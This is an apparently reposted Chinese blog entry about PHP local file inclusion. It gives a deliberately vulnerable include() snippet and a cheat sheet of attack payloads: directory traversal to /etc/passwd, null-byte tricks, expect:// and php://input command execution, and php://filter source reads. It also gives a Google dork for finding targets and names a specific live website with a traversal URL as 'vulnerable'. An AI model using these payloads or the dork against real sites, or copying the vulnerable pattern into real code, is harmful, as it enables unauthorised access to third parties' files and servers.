码迷,mamicode.com
首页 > 其他好文 > 详细

LFI (local file inclusion vulnerability)本地文件包含

时间:2019-07-28 13:37:33      阅读:111      评论:0      收藏:0      [点我收藏+]

标签:pass   web   conf   文件   rabl   targe   etc   arp   include   

代码实例:

<?php

$file = $_GET[‘file‘];

if(isset($file))

{

include("pages/$file");

}

else

{

include("index.php");

}

?>

 

利用方式:

/script.php?page=../../../../../etc/passwd

php?page=expect://id

?page=/etc/passwd%00

?page=/etc/passwd%2500

warpper://target

?page=php://input&cmd=ls

page=php://filter/convert.base64-encode/resource=

 

google hacking

inurl:index.php?page=

 

vulnerable website:

http://confituredebali.com/index.php?page=../../../../../../../../etc/passwd

技术图片

LFI (local file inclusion vulnerability)本地文件包含

标签:pass   web   conf   文件   rabl   targe   etc   arp   include   

原文地址:https://www.cnblogs.com/hack404/p/11258451.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!